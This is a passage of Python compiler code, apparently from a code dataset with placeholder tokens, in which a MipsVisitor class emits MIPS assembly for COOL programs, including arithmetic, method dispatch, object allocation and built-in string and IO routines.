self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 